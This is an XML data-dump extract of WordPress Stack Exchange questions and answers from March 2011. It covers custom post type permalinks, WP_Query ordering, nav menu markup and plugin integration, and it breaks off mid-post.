  <row Id="12770" PostTypeId="2" ParentId="12762" CreationDate="2011-03-22T22:43:08.287" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@daxitude:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me first suggest you reconsider.  If you don't have individual FAQ pages for each FAQ:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You reduce your surface are for search engine optimization and reduce the potential traffic that you might get, and &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You make it impossible for someone to share a &lt;em&gt;specific&lt;/em&gt; FAQ with a friend over email and/or share with their network on Facebook, Twitter, etc. &lt;em&gt;(As a user I'm always frustrated by site developers who disallow me to have a direct URL to an item and instead force me to link to the page that lists all items.)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, if you still want to do so then do two things:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.) Use the &lt;code&gt;'post_type_link'&lt;/code&gt; hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;'post_type_link'&lt;/code&gt; hook to modify the URL like in the following example *(I'm assuming your custom post type is &lt;code&gt;'faq'&lt;/code&gt;). Add the following to your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('post_type_link','yoursite_post_type_link',10,2);&#xA;function yoursite_post_type_link($link,$post) {&#xA;  $post_type = 'faq';&#xA;  if ($post-&amp;gt;post_type==$post_type) {&#xA;    $link = get_post_type_archive_link($post_type) .&quot;#{$post-&amp;gt;post_name}&quot;;&#xA;  }&#xA;  return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;2.) &lt;code&gt;unset($wp_rewrite-&amp;gt;extra_permastructs['faq'])&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;em&gt;hack&lt;/em&gt;, but it's a required hack to do what you want. Use an &lt;code&gt;'init'&lt;/code&gt; hook to &lt;code&gt;unset($wp_rewrite-&amp;gt;extra_permastructs['faq'])&lt;/code&gt;. It removes the rewrite rule that &lt;code&gt;register_post_type()&lt;/code&gt; adds. I'm including a call to &lt;code&gt;register_post_type()&lt;/code&gt; so I can provide a complete example for both you and others:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','yoursite_init');&#xA;function yoursite_init() {&#xA;  register_post_type('faq',array(&#xA;      'labels' =&amp;gt; array(&#xA;      'name' =&amp;gt; _x('FAQs', 'post type general name'),&#xA;      'singular_name' =&amp;gt; _x('FAQ', 'post type singular name'),&#xA;      'add_new' =&amp;gt; _x('Add New', 'faq'),&#xA;      'add_new_item' =&amp;gt; __('Add New FAQ'),&#xA;      'edit_item' =&amp;gt; __('Edit FAQ'),&#xA;      'new_item' =&amp;gt; __('New FAQ'),&#xA;      'view_item' =&amp;gt; __('View FAQ'),&#xA;      'search_items' =&amp;gt; __('Search FAQs'),&#xA;      'not_found' =&amp;gt;  __('No FAQs found'),&#xA;      'not_found_in_trash' =&amp;gt; __('No FAQs found in Trash'),&#xA;      'parent_item_colon' =&amp;gt; '',&#xA;      'menu_name' =&amp;gt; 'FAQs'&#xA;    ),&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug'=&amp;gt;'faqs'),&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; 'faqs',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt')&#xA;  ));&#xA;&#xA;  global $wp_rewrite;&#xA;  unset($wp_rewrite-&amp;gt;extra_permastructs['faq']);  // Removed URL rewrite for specific FAQ &#xA;  $wp_rewrite-&amp;gt;flush_rules(); // THIS SHOULD BE DONE IN A PLUGIN ACTIVATION HOOK, NOT HERE!&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's about it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the above use of &lt;code&gt;$wp_rewrite-&amp;gt;flush_rules()&lt;/code&gt; in an &lt;code&gt;'init'&lt;/code&gt; hook is &lt;a href=&quot;http://wordpress.org/support/topic/plugin-multi-page-toolkit-major-bad-practice-causes-60-second-page-loads?replies=1&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;really bad practice&lt;/strong&gt;&lt;/a&gt; and should really only be done once so I've implemented a complete and self-contained plugin called &lt;code&gt;FAQ_Post_Type&lt;/code&gt; to do it right. This plugin adds a FAQ post type with the URL rules that you want and it uses a &lt;code&gt;register_activation_hook()&lt;/code&gt; to flush the rewrite rules; activation being obviously one of the few things that requires plugin code instead of code that can run in a theme's &lt;code&gt;functions.php&lt;/code&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for the &lt;code&gt;FAQ_Post_Type&lt;/code&gt; plugin; feel free to modify for your requirements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: FAQ Post Type&#xA;Description: Answers the question &quot;Custom post type, no need for single view, plus want permalink rewrites that include hash in URI&quot; on WordPress Answers.&#xA;Plugin URL: http://wordpress.stackexchange.com/questions/12762/custom-post-type-no-need-for-single-view-plus-want-permalink-rewrites-that-incl&#xA;*/&#xA;if (!class_exists('FAQ_Post_Type')) {&#xA;  class FAQ_Post_Type {&#xA;    static function on_load() {&#xA;      add_action('post_type_link', array(__CLASS__,'post_type_link'),10,2);&#xA;      add_action('init', array(__CLASS__,'init'));&#xA;    }&#xA;    static function post_type_link($link,$post) {&#xA;      if ('faq'==$post-&amp;gt;post_type) {&#xA;        $link = get_post_type_archive_link('faq') .&quot;#{$post-&amp;gt;post_name}&quot;;&#xA;      }&#xA;      return $link;&#xA;    }&#xA;    static function init() {&#xA;      register_post_type('faq',array(&#xA;          'labels' =&amp;gt; array(&#xA;          'name' =&amp;gt; _x('FAQs', 'post type general name'),&#xA;          'singular_name' =&amp;gt; _x('FAQ', 'post type singular name'),&#xA;          'add_new' =&amp;gt; _x('Add New', 'faq'),&#xA;          'add_new_item' =&amp;gt; __('Add New FAQ'),&#xA;          'edit_item' =&amp;gt; __('Edit FAQ'),&#xA;          'new_item' =&amp;gt; __('New FAQ'),&#xA;          'view_item' =&amp;gt; __('View FAQ'),&#xA;          'search_items' =&amp;gt; __('Search FAQs'),&#xA;          'not_found' =&amp;gt;  __('No FAQs found'),&#xA;          'not_found_in_trash' =&amp;gt; __('No FAQs found in Trash'),&#xA;          'parent_item_colon' =&amp;gt; '',&#xA;          'menu_name' =&amp;gt; 'FAQs'&#xA;        ),&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array('slug'=&amp;gt;'faqs'),&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'has_archive' =&amp;gt; 'faqs',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt'),&#xA;      ));&#xA;      global $wp_rewrite;&#xA;      unset($wp_rewrite-&amp;gt;extra_permastructs['faq']);  // Remove URL rewrite for specific FAQ&#xA;    }&#xA;    static function activate() {&#xA;      global $wp_rewrite;&#xA;      $wp_rewrite-&amp;gt;flush_rules();&#xA;    }&#xA;  }&#xA;  FAQ_Post_Type::on_load();&#xA;  register_activation_hook(__FILE__,array('FAQ_Post_Type','activate'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also possibly kept the flush rules inside the &lt;code&gt;'init'&lt;/code&gt; by using a check for an option value if you prefer this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add this code in your 'init' hook at your register_post_type('faq',...)&#xA;if (!get_option('faq_rewrite_rules_updated')) {&#xA;  global $wp_rewrite;&#xA;  unset($wp_rewrite-&amp;gt;extra_permastructs['faq']);  // Remove URL rewrite for specific FAQ&#xA;  $wp_rewrite-&amp;gt;flush_rules();&#xA;  update_option('faq_rewrite_rules_updated',true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, let me know if there are use-cases you discover that this does not address.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-22T22:43:08.287" CommentCount="5" />
  <row Id="12771" PostTypeId="2" ParentId="12765" CreationDate="2011-03-22T22:47:53.710" Score="1" ViewCount="" Body="&lt;p&gt;If you've written it as it actually appears, you are missing the semi-colon &lt;strong&gt;;&lt;/strong&gt; directly following the &lt;strong&gt;&amp;amp;gt&lt;/strong&gt;.  Sometimes moving between the visual editor and the html editor will cause this problem.  It can also happen when copying and pasting code from another source.  Go into the HTML editor and check the code where the greater than signs should appear to ensure that the semi-colon follows the &amp;amp;gt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-22T22:47:53.710" CommentCount="2" />
  <row Id="12772" PostTypeId="1" AcceptedAnswerId="12842" CreationDate="2011-03-22T22:56:17.287" Score="1" ViewCount="158" Body="&lt;p&gt;When user clicks on Reply button for a specific comment, how can I then hide the reply button under said comment? Do I have any access to the javascript onclick function that it calls?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-23T20:02:45.873" Title="Hide reply button after moveForm is called" Tags="&lt;javascript&gt;&lt;comment-form&gt;" AnswerCount="2" />
  <row Id="12775" PostTypeId="1" CreationDate="2011-03-23T00:53:55.933" Score="1" ViewCount="87" Body="&lt;p&gt;I'm thinking of using multiple web servers with a load balancer in a big WP install. The database will be on a separate server and that's the easy part. Trickier is files in blogs.dir, and to a lesser extent, the themes and plugins folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I plan to use a separate NFS server, either for all of wp_content or just for blogs.dir. But I'm worried about the performance impact of having these files available over the local network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have done this I would love to hear your thoughts on...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it wise to share all of wp-content in this way? If not, how about just blogs.dir?&lt;/li&gt;&#xA;&lt;li&gt;How much of a performance trade-off was it? &lt;/li&gt;&#xA;&lt;li&gt;Do you have any suggestions based on your experience?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3419" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-25T18:43:21.153" LastActivityDate="2011-04-25T19:08:23.877" Title="How much will mounting wp-content on a separate NFS server impact performance?" Tags="&lt;performance&gt;&lt;uploads&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12776" PostTypeId="1" AcceptedAnswerId="12780" CreationDate="2011-03-23T01:01:57.597" Score="0" ViewCount="135" Body="&lt;p&gt;I would like to display all agents a-z, except there is one agent who should always show up last. Ideally I'd like the ordering to be done from the value of a custom field, dName.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking around it seemed that meta_query was the new best way to do this but haven't figured it out yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current code that shows 10 last agents created.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'agents', 'posts_per_page' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit 3/27/2011, working code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$loop = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'agents',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;'meta_key' =&amp;gt; 'rw_dname',&#xA;    'order'=&amp;gt;'ASC',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array( 'key' =&amp;gt; 'rw_dName' )&#xA;        ),&#xA;    'post__not_in' =&amp;gt; array( '98' ),&#xA;    'posts_per_page' =&amp;gt; -1 ) );&#xA;&#xA;$loop2 = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'agents',&#xA;    'post__in' =&amp;gt; array( '98' ) ) );?&amp;gt;&#xA;&amp;lt;?php&#xA;if($loop-&amp;gt;have_posts() || $loop2-&amp;gt;have_posts()) { &#xA;    if($loop-&amp;gt;have_posts()) { while($loop-&amp;gt;have_posts()) { $loop-&amp;gt;the_post();?&amp;gt;&#xA;&amp;lt;div class=&quot;agentContent&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;agentThumbnail&quot;&amp;gt;&#xA;        &amp;lt;?php &#xA;        if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.&#xA;        the_post_thumbnail();&#xA;}?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;agentInfo&quot;&amp;gt; &amp;lt;span class=&quot;agentInfoEntry&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;$meta = get_post_meta(get_the_ID(), 'rw_dname', true);&#xA;echo $meta; // if you want to show&#xA;?&amp;gt;&#xA;        &amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;        } //endwhile&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;if($loop2-&amp;gt;have_posts()) { while($loop2-&amp;gt;have_posts()) { $loop2-&amp;gt;the_post();?&amp;gt;&#xA;&amp;lt;div class=&quot;agentContent&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;agentThumbnail&quot;&amp;gt;&#xA;    &amp;lt;?php &#xA;if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.&#xA;the_post_thumbnail();&#xA;} &#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;agentInfo&quot;&amp;gt; &amp;lt;span class=&quot;agentInfoEntry&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;$meta = get_post_meta(get_the_ID(), 'rw_dname', true);&#xA;echo $meta; // if you want to show&#xA;?&amp;gt;&#xA;        &amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;        } //endwhile&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;} else {&#xA;    echo 'No Agents.';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="4090" LastEditorDisplayName="" LastEditDate="2011-03-27T20:12:38.250" LastActivityDate="2011-03-27T20:12:38.250" Title="Display agents (custom post type) alphabetically, except one who always shows last" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="12777" PostTypeId="1" AcceptedAnswerId="12778" CreationDate="2011-03-23T01:12:49.597" Score="0" ViewCount="362" Body="&lt;p&gt;I'm finding this random string at the end of my URL's sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/?doing_wp_cron&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what it is?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-03-23T01:38:39.220" Title="What is this: /?doing_wp_cron" Tags="&lt;urls&gt;" AnswerCount="1" />
  <row Id="12778" PostTypeId="2" ParentId="12777" CreationDate="2011-03-23T01:38:39.220" Score="3" ViewCount="" Body="&lt;p&gt;It's a sign that you have 'ALTERNATE_WP_CRON' defined in your wp-config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do some background processing (like publishing scheduled posts), WP redirects you to the url with ?doing_wp_cron appended.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-23T01:38:39.220" CommentCount="2" />
  <row Id="12779" PostTypeId="2" ParentId="12758" CreationDate="2011-03-23T01:46:00.913" Score="3" ViewCount="" Body="&lt;p&gt;It's empty because you're looking at it before it has a chance to be populated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top of functions.php is too early. You should be doing it in a 'template_redirect' action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, better yet, use the Debug Bar plugin.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-23T01:46:00.913" CommentCount="4" />
  <row Id="12780" PostTypeId="2" ParentId="12776" CreationDate="2011-03-23T02:17:30.567" Score="0" ViewCount="" Body="&lt;p&gt;I just wrote this up so I have not tested it but this is how I would go about forcing one post to be at the end. In the first loop it excludes the posts by its ID number and in the second loop it only includes the post by the ID number, essentially you will need to know the ID of the post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$loop = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'agents',&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'meta_key' =&amp;gt; 'dName',&#xA;    'post__not_in' =&amp;gt; array( 00 ),&#xA;    'posts_per_page' =&amp;gt; -1 ) );&#xA;$loop2 = new WP_Query( array( &#xA;    'post_type' =&amp;gt; 'agents',&#xA;    'post__in' =&amp;gt; array( 00 ) ) );&#xA;&#xA;if($loop-&amp;gt;have_posts() || $loop2-&amp;gt;have_posts()) { &#xA;    if($loop-&amp;gt;have_posts()) { while($loop-&amp;gt;have_posts()) { $loop-&amp;gt;the_post();&#xA;        echo the_title();&#xA;        echo get_post_custom_values('dName');&#xA;        //Post Content&#xA;        } //endwhile&#xA;    }&#xA;    if($loop2-&amp;gt;have_posts()) { while($loop2-&amp;gt;have_posts()) { $loop2-&amp;gt;the_post();&#xA;        echo the_title();&#xA;        echo get_post_custom_values('dName');&#xA;        //Post Content&#xA;        } //endwhile&#xA;    }&#xA;} else {&#xA;    echo 'No Agents.';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-03-26T19:55:37.343" LastActivityDate="2011-03-26T19:55:37.343" CommentCount="7" />
  <row Id="12783" PostTypeId="2" ParentId="12727" CreationDate="2011-03-23T04:13:48.550" Score="1" ViewCount="" Body="&lt;p&gt;I don't know the specifics of your plugin but I'll assume they are registering a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will also take the liberty and say you want a post based loop for your &quot;pre-enjoyed&quot; custom type, much like the default loop that most blogs have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One quick method to do this is to get your theme's loop ( found in index.php or maybe loop.php) and copy and past it into a new blank php page and name that page--&gt;  single-pre-enjoyed.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you then  tell the loop to only grab posts from the post type pre-enjoyed using a query, for instance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query( 'posts_type=pre-enjoyed');&#xA;// The Loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps, there are many ways to do this, so maybe provide some more details.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-23T04:13:48.550" />
  <row Id="12784" PostTypeId="1" AcceptedAnswerId="12827" CreationDate="2011-03-23T04:44:28.270" Score="2" ViewCount="1312" Body="&lt;p&gt;I'm new to wordpress and trying to learn my way through from making a theme.&#xA;Right now I am using wp_nav_menu to generate my menu&#xA;My menu consists of pages and categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the default generation of the menu looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;navi&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;menu-primary-container&quot;&amp;gt;  &#xA;  &amp;lt;ul id=&quot;menu-primary&quot; class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-14&quot; class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-14&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-16&quot; class=&quot;menu-item menu-item-type-taxonomy menu-item-object-category menu-item-16&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-20&quot; class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-20&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-15&quot; class=&quot;menu-item menu-item-type-taxonomy menu-item-object-category menu-item-15&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;menu-item-17&quot; class=&quot;menu-item menu-item-type-custom menu-item-object-custom menu-item-17&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to remove all the class and id from li and ul. I have been googling for awhile now. Tried different methods and no luck. Any help would be much appreciated.  I'm currently using Wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="4149" LastActivityDate="2011-04-27T09:35:08.213" Title="wp_nav_menu remove class and id from li" Tags="&lt;custom-menus&gt;&lt;3.1&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="12785" PostTypeId="2" ParentId="12784" CreationDate="2011-03-23T05:14:50.450" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function wp_nav_menu_remove_attributes( $menu ){&#xA;    return $menu = preg_replace('/ id=\&quot;(.*)\&quot; class=\&quot;(.*)\&quot;/iU', '', $menu );&#xA;}&#xA;add_filter( 'wp_nav_menu', 'wp_nav_menu_remove_attributes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-23T05:14:50.450" CommentCount="3" />
  <row Id="12786" PostTypeId="2" ParentId="12744" CreationDate="2011-03-23T05:19:30.307" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;next-posts&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; older') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;prev-posts&quot;&amp;gt;&amp;lt;?php previous_posts_link('newer &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-23T05:19:30.307" />
  <row Id="12787" PostTypeId="2" ParentId="6553" CreationDate="2011-03-23T05:39:57.927" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.tv/2010/09/19/john-metta-wordpress-and-github-not-as-crazy-as-you-think/&quot; rel=&quot;nofollow&quot;&gt;That's not really an answer, but a nice talk that shows a pretty seamless process&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-23T05:39:57.927" />
  <row Id="12788" PostTypeId="2" ParentId="12784" CreationDate="2011-03-23T05:41:36.507" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/search?q=wp_nav_menu+class&quot;&gt;Have you already searched WA?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-23T05:41:36.507" CommentCount="2" />
  <row Id="12789" PostTypeId="1" AcceptedAnswerId="12800" CreationDate="2011-03-23T05:52:32.363" Score="-1" ViewCount="148" Body="&lt;p&gt;Anyone has experience using the &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating&quot; rel=&quot;nofollow&quot;&gt;GD Star Rating&lt;/a&gt; plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and make a loop that sorts posts by vote/stars?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T12:53:05.197" LastActivityDate="2011-03-24T12:53:05.197" Title="Is it possible to sort posts by vote using the GD Star Rating plugin?" Tags="&lt;plugin-gd-star-rating&gt;" AnswerCount="1" />
  <row Id="12793" PostTypeId="1" CreationDate="2011-03-23T06:52:01.213" Score="0" ViewCount="91" Body="&lt;p&gt;I read before I can use wp_localize_script to replace a string in a file (adding path to admin-ajax). what if I want to do something similar, but to the template directory for CSS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PIE will get the URL relative to the document not CSS&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-23T06:52:01.213" Title="Using PIE CSS in WordPress. &quot;localizing&quot; styles" Tags="&lt;theme-development&gt;&lt;css&gt;" CommentCount="1" />
  <row Id="12797" PostTypeId="1" CreationDate="2011-03-23T07:46:45.167" Score="0" ViewCount="327" Body="&lt;p&gt;I have this code that returns list of post title as links, but when I add the 'orderby' and 'order' parameters - it returns results but 'orderby, order, rand' do not work, can anyone tell me what I'm doing wrong? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;   &amp;lt;?php $post; $cat_posts = get_posts(array('numberposts' =&amp;gt; 10, 'orderby' =&amp;gt; 'rand', 'order' =&amp;gt; ASC, 'category' =&amp;gt; $disciplineCatID));&#xA;   foreach($cat_posts as $post) : ?&amp;gt;&#xA;   &amp;lt;?php $postTitle = get_the_title(); if($title != $postTitle) :?&amp;gt;&#xA;   &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;amp;rsaquo;&amp;amp;rsaquo; &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;?php endif ;?&amp;gt;&#xA;   &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3907" LastEditorUserId="3907" LastEditorDisplayName="" LastEditDate="2011-03-23T13:42:10.627" LastActivityDate="2011-08-23T23:33:56.550" Title="get_post random and order by not working" Tags="&lt;get-posts&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="12798" PostTypeId="1" AcceptedAnswerId="12799" CreationDate="2011-03-23T07:48:38.117" Score="0" ViewCount="165" Body="&lt;p&gt;Has anyone effectively integrated &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD star rating&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/cubepoints/&quot; rel=&quot;nofollow&quot;&gt;Cube Points&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Plugin Integration CubePoints can also&#xA;  be easily integrated with other&#xA;  plugins. Other plugins can be coded&#xA;  such that certain actions trigger the&#xA;  cp_alterPoints() function to add or&#xA;  subtract points from a specified user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Function&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cp_alterPoints( int $uid, int $points ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parameters&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;int $uid: ID of a Wordpress user. To&#xA;  get the ID of the current logged in&#xA;  user, use the cp_currentUser()&#xA;  function.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;int $return: Number of points to add&#xA;  to the specified user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will add 10 points to the current logged in user. If no user is logged in, no points will be added. You may input negative number to subtract points.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;php&#xA;  if( function_exists('cp_alterPoints') &amp;amp;&amp;amp; is_user_logged_in() ){&#xA;    cp_alterPoints(cp_currentUser(), 10);&#xA;    cp_log('hey', cp_currentUser(), 10, 1);&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, I would like to add 10 points to the user, if his or her post is voted (GD star rating's thumbs rating system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have no idea how to do 